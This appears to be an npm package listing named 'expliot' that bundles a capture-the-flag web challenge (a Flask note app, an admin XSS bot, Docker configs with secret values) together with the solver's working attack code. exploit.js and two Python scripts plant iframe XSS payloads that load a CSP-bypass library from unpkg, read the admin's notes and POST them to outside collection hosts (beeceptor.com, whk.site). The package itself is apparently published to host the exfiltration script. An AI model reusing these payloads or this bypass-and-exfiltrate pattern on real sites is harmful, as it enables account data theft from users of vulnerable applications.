expliot 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
package/app/Dockerfile ADDED
@@ -0,0 +1,25 @@
1
+ FROM python:alpine
2
+ RUN pip3 install flask redis rq
3
+
4
+ COPY . /app
5
+
6
+ WORKDIR /app
7
+
8
+ RUN adduser -D -u 1000 ctf
9
+ RUN chown -R ctf:ctf /app
10
+ RUN chmod -R 555 /app && chmod -R 744 /app/notes
11
+
12
+ RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
13
+ RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
14
+ echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID"
15
+
16
+ RUN chmod -R 555 /app/notes/admin
17
+
18
+ RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
19
+ chmod 444 /flag2-*
20
+
21
+ USER ctf
22
+
23
+
24
+ CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
25
+
package/app/app.py ADDED
@@ -0,0 +1,157 @@
1
+ from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, session
2
+ from uuid import uuid4
3
+ from functools import wraps
4
+ from secrets import token_urlsafe
5
+ import os
6
+ import re
7
+ import sqlite3
8
+ import urllib.request
9
+
10
+
11
+ app = Flask(__name__)
12
+ app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", 'super secret key')
13
+
14
+ from rq import Queue
15
+ from redis import Redis
16
+ app.queue = Queue(connection=Redis('xss-bot'))
17
+
18
+ NOTES_DIR = "notes"
19
+
20
+ users = {"admin": os.environ.get("ADMIN_PASSWORD", "admin")}
21
+
22
+
23
+ def login_required(f):
24
+ @wraps(f)
25
+ def decorated_function(*args, **kwargs):
26
+ if not "username" in session:
27
+ flash("You must be logged in to view this page!", "error")
28
+ return redirect(url_for("login"))
29
+ return f(*args, **kwargs)
30
+
31
+ return decorated_function
32
+
33
+
34
+ @app.after_request
35
+ def add_header(response):
36
+ # add content security policy header
37
+ response.headers['Content-Security-Policy'] = "default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/"
38
+ return response
39
+
40
+ @app.get("/")
41
+ @login_required
42
+ def index():
43
+ return render_template("index.html")
44
+
45
+
46
+ @app.get("/login")
47
+ def login():
48
+ return render_template("login.html")
49
+
50
+
51
+ @app.post("/login")
52
+ def action_login():
53
+ username = request.form.get("username")
54
+ password = request.form.get("password")
55
+
56
+ if len(username) < 5 or len(password) < 5:
57
+ flash("Username or password too short!", "error")
58
+ return redirect(url_for("login"))
59
+
60
+ if not re.match(r"^[a-zA-Z0-9_]+$", username):
61
+ flash(
62
+ "Username must only contain alphanumeric characters and underscores!",
63
+ "error"
64
+ )
65
+ return redirect(url_for("login"))
66
+
67
+ if username in users and users[username] == password:
68
+ session["username"] = username
69
+ return redirect(url_for("index"))
70
+ elif username not in users and not os.path.exists(os.path.join(NOTES_DIR, username)):
71
+ users[username] = password
72
+ os.mkdir(os.path.join(NOTES_DIR, username))
73
+ flash("Successfully registered!", "success")
74
+ return redirect(url_for("login"))
75
+ else:
76
+ flash("Invalid username or password!", "error")
77
+ return redirect(url_for("login"))
78
+
79
+ @app.get("/note")
80
+ def note():
81
+ return render_template("note.html")
82
+
83
+
84
+ @app.get("/api/notes/all")
85
+ @login_required
86
+ def api_notes():
87
+ notes = []
88
+ user_dir = os.path.join(NOTES_DIR, session["username"])
89
+ for filename in os.listdir(user_dir):
90
+ with open(os.path.join(user_dir, filename)) as f:
91
+ notes.append({
92
+ "id": filename,
93
+ "author": f.readline().strip(),
94
+ "title": f.readline().strip()
95
+ })
96
+ return jsonify(notes)
97
+
98
+
99
+ @app.post("/api/notes")
100
+ @login_required
101
+ def api_create_note():
102
+ if session["username"] == "admin":
103
+ return {"error": "Admin cannot create notes!"}, 403
104
+ user_dir = os.path.join(NOTES_DIR, session["username"])
105
+ note_id = str(uuid4())
106
+ title, content = request.json["title"], request.json["content"]
107
+ if len(title) > 48 or len(content) > 256:
108
+ return {"error": "Title or content too long!"}, 400
109
+ with open(os.path.join(user_dir, note_id), "w") as f:
110
+ f.write(session["username"] + "\n")
111
+ f.write(title + "\n")
112
+ f.write(content)
113
+ return {"id": note_id}
114
+
115
+
116
+ @app.get("/api/notes")
117
+ @login_required
118
+ def api_get_note_content():
119
+ note_id = request.args.get("id")
120
+ author = request.args.get("author") or session.get("username")
121
+
122
+ if not note_id or ".." in note_id:
123
+ return {"error": "Invalid note ID!"}, 400
124
+
125
+ if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
126
+ return {"error": "Invalid author!"}, 400
127
+
128
+ user_dir = os.path.join(NOTES_DIR, author)
129
+
130
+ if not os.path.exists(os.path.join(user_dir, note_id)):
131
+ return {"error": "Note not found!"}, 404
132
+
133
+ with open(os.path.join(user_dir, note_id)) as f:
134
+ note_author = f.readline().strip()
135
+ title = f.readline().strip()
136
+ content = f.read().strip()
137
+
138
+ if session['username'] != 'admin' and note_author != session["username"]:
139
+ return {"error": "You do not have permission to view this note!"}, 403
140
+
141
+ return {"author": note_author, "title": title, "content": content}
142
+
143
+
144
+ @app.post("/report")
145
+ def report():
146
+ note_id = request.form.get("note_id", "") # uuid
147
+ author = request.form.get("author", "")
148
+
149
+ if not re.match(r"^[a-zA-Z0-9_]+$", author) or not re.match(r"^[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}$", note_id):
150
+ return "Invalid author or note ID!"
151
+
152
+ if not os.path.exists(os.path.join(NOTES_DIR, author, note_id)):
153
+ return "Note not found!"
154
+
155
+ app.queue.enqueue("bot.browse", "/note?id=" + note_id + "&author=" + author)
156
+
157
+ return "<meta http-equiv='refresh' content='1;url=/'><h1>Report submitted!</h1>"
@@ -0,0 +1,48 @@
1
+ function updateNoteList() {
2
+ fetch('/api/notes/all')
3
+ .then(res => res.json())
4
+ .then(result => {
5
+ const noteList = document.querySelector('#noteList');
6
+ noteList.innerHTML = '';
7
+ result.forEach(note => {
8
+ const div = document.createElement('div');
9
+ div.className = 'note'
10
+ const h2 = document.createElement('h2');
11
+ h2.innerText = note.title;
12
+ div.appendChild(h2);
13
+ const p = document.createElement('p');
14
+ p.innerText = `Author: ${note.author || '(anonymous)'}`;
15
+ div.appendChild(p);
16
+
17
+ div.onclick = () => location.href = `/note?id=${note.id}`;
18
+ noteList.appendChild(div);
19
+ });
20
+ })
21
+ }
22
+
23
+ const form = document.querySelector('#form');
24
+ form.addEventListener('submit', (e) => {
25
+ e.preventDefault();
26
+ const data = {
27
+ title: form.title.value,
28
+ content: form.content.value
29
+ };
30
+ fetch('/api/notes', {
31
+ method: 'POST',
32
+ body: JSON.stringify(data),
33
+ headers: new Headers({
34
+ 'Content-Type': 'application/json'
35
+ })
36
+ }).then(res => res.json())
37
+ .then(result => {
38
+ form.title.value = '';
39
+ form.content.value = '';
40
+ if (result.error) {
41
+ alert(result.message);
42
+ return;
43
+ }
44
+ updateNoteList();
45
+ })
46
+ })
47
+
48
+ updateNoteList();
@@ -0,0 +1,32 @@
1
+ const noteId = new URLSearchParams(window.location.search).get('id');
2
+ const author = new URLSearchParams(window.location.search).get('author');
3
+ let apiUrl = '/api/notes?id=' + noteId;
4
+ if (author) apiUrl += '&author=' + author;
5
+ fetch(apiUrl)
6
+ .then(res => res.json())
7
+ .then(result => {
8
+ if (result.error) {
9
+ alert(result.error);
10
+ location.href = "/";
11
+ return;
12
+ }
13
+ const note = document.querySelector('#note');
14
+ note.innerHTML = `
15
+ <h1>${result.title}</h1>
16
+ <p>${marked.parse(result.content)}</p>
17
+ <hr/>
18
+ <span style="color: #999">
19
+ By @${result.author}・🔒 Private・
20
+ <form action="/report" style="display: inline" method="post">
21
+ <input type="hidden" name="note_id" value="${noteId}">
22
+ <input type="hidden" name="author" value="${result.author}">
23
+ <input type="submit" value="Report">
24
+ </form>
25
+ </span>
26
+ `;
27
+ note.querySelector('form').addEventListener('submit', e => {
28
+ e.preventDefault();
29
+ if (!confirm('Are you sure to report this note?')) return;
30
+ e.target.submit();
31
+ })
32
+ });
@@ -0,0 +1,54 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Note</title>
8
+ <style>
9
+ body {
10
+ font-family: Arial, Helvetica, sans-serif;
11
+ padding: 0 20vw;
12
+ }
13
+
14
+ @media screen and (max-width: 768px) {
15
+ body {
16
+ padding: 0;
17
+ }
18
+ }
19
+
20
+ #noteList {
21
+ display: flex;
22
+ flex-wrap: wrap;
23
+ }
24
+
25
+ .note {
26
+ cursor: pointer;
27
+ width: 250px;
28
+ border: 1px solid #ccc;
29
+ margin: 10px;
30
+ padding: 10px;
31
+ }
32
+
33
+ .note:hover {
34
+ background: #eee;
35
+ }
36
+ </style>
37
+ </head>
38
+
39
+ <body>
40
+ <h1>Online Note</h1>
41
+ <form id="form">
42
+ <p><input type="text" name="title" placeholder="Title"></p>
43
+ <p><textarea name="content" cols="30" rows="3" placeholder="> Markdown Content"></textarea></p>
44
+ <input type="submit" value="Add note">
45
+ </form>
46
+
47
+ <hr>
48
+ <h2>Note list</h2>
49
+ <div id="noteList">...</div>
50
+
51
+ <script src="/static/main.js"></script>
52
+ </body>
53
+
54
+ </html>
@@ -0,0 +1,54 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Login</title>
8
+ <style>
9
+ body {
10
+ display: flex;
11
+ flex-direction: column;
12
+ align-items: center;
13
+ justify-content: center;
14
+ min-height: 100vh;
15
+ }
16
+
17
+ form {
18
+ display: flex;
19
+ flex-direction: column;
20
+ align-items: center;
21
+ justify-content: center;
22
+ }
23
+
24
+ input {
25
+ margin: 10px;
26
+ padding: 10px;
27
+ width: 200px;
28
+ }
29
+
30
+ hr {
31
+ width: 100%;
32
+ }
33
+
34
+ .message {
35
+ color: red;
36
+ }
37
+ </style>
38
+ </head>
39
+
40
+ <body>
41
+ {% for message in get_flashed_messages() %}
42
+ <div class="message">{{ message }}</div>
43
+ {% endfor %}
44
+
45
+ <h1>Login & Register</h1>
46
+ <form action="/login" method="post" id="login-form">
47
+ <input type="text" name="username" placeholder="username">
48
+ <input type="password" name="password" placeholder="password">
49
+ <input type="submit" value="login">
50
+ </form>
51
+
52
+ </body>
53
+
54
+ </html>
@@ -0,0 +1,41 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Note</title>
8
+ <style>
9
+ body {
10
+ font-family: Arial, Helvetica, sans-serif;
11
+ padding: 0 20vw;
12
+ }
13
+
14
+ @media screen and (max-width: 768px) {
15
+ body {
16
+ padding: 0;
17
+ }
18
+ }
19
+
20
+ hr {
21
+ margin: 20px 0;
22
+ /* color */
23
+ border-top: 1px solid #ddd;
24
+ border-bottom: 1px solid #ddd;
25
+ }
26
+
27
+ #note {
28
+ border: 1px solid #ccc;
29
+ margin: auto 0;
30
+ padding: 10px;
31
+ }
32
+ </style>
33
+ </head>
34
+
35
+ <body>
36
+ <div id="note"></div>
37
+ <script src="https://unpkg.com/marked@11.1.0/marked.min.js"></script>
38
+ <script src="/static/note.js"></script>
39
+ </body>
40
+
41
+ </html>
package/app/uwsgi.ini ADDED
@@ -0,0 +1,5 @@
1
+ [uwsgi]
2
+ module = app
3
+ callable = app
4
+ uid = 2000
5
+ gid = 2000
package/bot/Dockerfile ADDED
@@ -0,0 +1,20 @@
1
+ FROM python:3.11
2
+
3
+
4
+ RUN apt update && \
5
+ apt install -y --no-install-recommends chromium-driver redis-server
6
+
7
+
8
+ RUN apt update && \
9
+ apt install -y --no-install-recommends chromium
10
+
11
+ RUN rm -rf /var/lib/apt/lists/*
12
+
13
+ RUN pip3 install --no-cache-dir selenium redis rq
14
+
15
+ COPY bot.py /bot.py
16
+ COPY run.sh /run.sh
17
+ RUN chmod +x /run.sh
18
+
19
+ RUN useradd --no-create-home --home-dir / --shell /bin/false user
20
+ CMD bash /run.sh
package/bot/bot.py ADDED
@@ -0,0 +1,43 @@
1
+ #!/usr/bin/env python3
2
+ import time
3
+ import os
4
+
5
+ from selenium.webdriver import Chrome
6
+ from selenium.webdriver.common.by import By
7
+ from selenium.webdriver.chrome.options import Options
8
+ from selenium.common.exceptions import TimeoutException, WebDriverException
9
+
10
+ TIMEOUT = 5
11
+
12
+
13
+ def browse(path):
14
+ options = Options()
15
+ options.headless = True
16
+ options.add_argument('--headless')
17
+ options.add_argument('--no-sandbox')
18
+ options.add_argument('--disable-dev-shm-usage')
19
+ options.add_argument('--no-expose-wasm')
20
+ options.add_argument('--js-flags=--jitless')
21
+
22
+ chrome = Chrome(options=options)
23
+ chrome.set_page_load_timeout(TIMEOUT)
24
+ chrome.set_script_timeout(TIMEOUT)
25
+
26
+ try:
27
+ # login
28
+ base_url = 'http://web'
29
+ username, password = 'admin', os.getenv('ADMIN_PASSWORD')
30
+
31
+ chrome.get(base_url + "/login")
32
+ chrome.find_element('name','username').send_keys(username)
33
+ chrome.find_element('name','password').send_keys(password)
34
+ # input[type="submit"]
35
+ chrome.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
36
+
37
+ # visit
38
+ chrome.get(base_url + path)
39
+ time.sleep(TIMEOUT)
40
+ except (TimeoutException, WebDriverException) as e:
41
+ print(e)
42
+ finally:
43
+ chrome.quit()
package/bot/run.sh ADDED
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env bash
2
+ redis-server --protected-mode no &
3
+ for _ in {1..4}; do
4
+ rq worker &
5
+ done
6
+ sleep infinity
@@ -0,0 +1,20 @@
1
+ version: "3.5"
2
+
3
+ x-share-env: &share-env
4
+ ADMIN_PASSWORD: ztLsRe2dX8praTtf5L1FBSY5VuSSXy0Edb01q3AQVgs
5
+ SECRET_KEY: jR8swB-gpkgILCG2HCMkz1LVWG0Jlj7ANaaRW4ohSZI
6
+
7
+ services:
8
+ web:
9
+ depends_on:
10
+ - xss-bot
11
+ build: ./app
12
+ ports:
13
+ - 10082:5000/tcp
14
+ environment:
15
+ <<: *share-env
16
+
17
+ xss-bot:
18
+ build: ./bot
19
+ environment:
20
+ <<: *share-env
package/exploit.js ADDED
@@ -0,0 +1,16 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all')
3
+ .then(response => response.json())
4
+ .then(data => {
5
+ fetch('https://ntuctf.free.beeceptor.com', {
6
+ method: 'POST',
7
+ body: JSON.stringify(data),
8
+ headers: { 'Content-Type': 'application/json' }
9
+ });
10
+ })
11
+ .catch(error => console.error('Error:', error));
12
+ }
13
+
14
+ window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
15
+
16
+ leakDataFromEndpoint();
package/for_local.py ADDED
@@ -0,0 +1,47 @@
1
+ import requests
2
+ from bs4 import BeautifulSoup
3
+
4
+ # The login URL and the target URL for creating a note
5
+ login_url = 'http://140.112.29.205:10082/login'
6
+ create_note_url = 'http://140.112.29.205:10082/api/notes'
7
+
8
+ # Your login credentials
9
+ credentials = {
10
+ 'username': '12345',
11
+ 'password': '12345'
12
+ }
13
+
14
+
15
+ #測試npm-2
16
+ xss_payload = """
17
+ <iframe srcdoc="
18
+ <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
19
+ <script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
20
+ <br csp= 'leakDataFromEndpoint()'>
21
+ "></iframe>
22
+ """
23
+
24
+ # Start a session so we can have persistent cookies
25
+ session = requests.session()
26
+
27
+ # First, login to the site
28
+ login_response = session.post(login_url, data=credentials)
29
+
30
+ # Check if login was successful
31
+ if login_response.ok:
32
+ # Now, create the note with the XSS payload
33
+ note_data = {
34
+ 'title': 'TestNote_1',
35
+ 'content': xss_payload # Inserting the XSS payload into the note content
36
+ }
37
+ create_note_response = session.post(create_note_url, json=note_data)
38
+
39
+ # Check if the request to create a note was successful
40
+ if create_note_response.ok:
41
+ print('Note with XSS payload created successfully')
42
+ else:
43
+ print('Failed to create note with XSS payload')
44
+ print('Status Code:', create_note_response.status_code)
45
+ print('Response:', create_note_response.text)
46
+ else:
47
+ print('Login failed')
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "expliot",
3
+ "version": "1.0.0",
4
+ "description": "getting notes",
5
+ "main": "exploit.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "robert",
10
+ "license": "MIT"
11
+ }
package/test_lenght.py ADDED
@@ -0,0 +1,88 @@
1
+ str = '''<iframe srcdoc="<script src='//unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script><script>fetch('/api/notes/all').then(r=>r.json()).then(d=>d.forEach(n=>{let u='//whk.site/7b314';fetch(u,{method:'POST',body:JSON.stringify({id:n.id})})}));</script>"></iframe>
2
+ '''
3
+
4
+ print(len(str))
5
+
6
+
7
+ import requests
8
+ from bs4 import BeautifulSoup
9
+
10
+ # The login URL and the target URL for creating a note
11
+ login_url = 'http://10.113.184.121:10082/login'
12
+ create_note_url = 'http://10.113.184.121:10082/api/notes'
13
+
14
+ # Your login credentials
15
+ credentials = {
16
+ 'username': 'abcabc',
17
+ 'password': 'abcabc'
18
+ }
19
+
20
+ # The XSS payload using an iframe that includes a script from unpkg.com and an attempt to execute alert(1)
21
+
22
+ # 成功塞入alert
23
+ # xss_payload = ("<iframe srcdoc=\"<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'>"
24
+ # "</script><br csp='alert(1)'>\"></iframe>")
25
+
26
+ # 測試bee -1
27
+ # xss_payload = """
28
+ # <iframe srcdoc=\"
29
+ # <script>
30
+ # // 使用fetch从目标网站获取数据
31
+ # fetch('login/api/notes/all')
32
+ # .then(response => response.json())
33
+ # .then(data => {
34
+ # // 数据获取成功后,将数据发送到Beeceptor端点
35
+ # fetch('https://ntuctf.free.beeceptor.com', {
36
+ # method: 'POST',
37
+ # body: JSON.stringify(data),
38
+ # headers: {'Content-Type': 'application/json'}
39
+ # });
40
+ # })
41
+ # .catch(error => console.error('Error:', error));
42
+ # </script>
43
+ # \"></iframe>
44
+ # """
45
+
46
+ #測試npm-1
47
+ # xss_payload = """
48
+ # <iframe srcdoc="
49
+ # <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
50
+ # <script src='https://unpkg.com/test_ctf_ntu_fetch/test_ctf_ntu_fetch.js'></script>
51
+ # <script>window.leakDataFromEndpoint();</script>
52
+ # "></iframe>
53
+ # """
54
+
55
+ #測試npm-2
56
+ xss_payload = """
57
+ <iframe srcdoc="
58
+ <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
59
+ <script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
60
+ <br csp= 'leakDataFromEndpoint()'>
61
+ "></iframe>
62
+ """
63
+
64
+
65
+ # Start a session so we can have persistent cookies
66
+ session = requests.session()
67
+
68
+ # First, login to the site
69
+ login_response = session.post(login_url, data=credentials)
70
+
71
+ # Check if login was successful
72
+ if login_response.ok:
73
+ # Now, create the note with the XSS payload
74
+ note_data = {
75
+ 'title': 'XSS_npm_7',
76
+ 'content': "xss_payload" # Inserting the XSS payload into the note content
77
+ }
78
+ create_note_response = session.post(create_note_url, json=note_data)
79
+
80
+ # Check if the request to create a note was successful
81
+ if create_note_response.ok:
82
+ print('Note with XSS payload created successfully')
83
+ else:
84
+ print('Failed to create note with XSS payload')
85
+ print('Status Code:', create_note_response.status_code)
86
+ print('Response:', create_note_response.text)
87
+ else:
88
+ print('Login failed')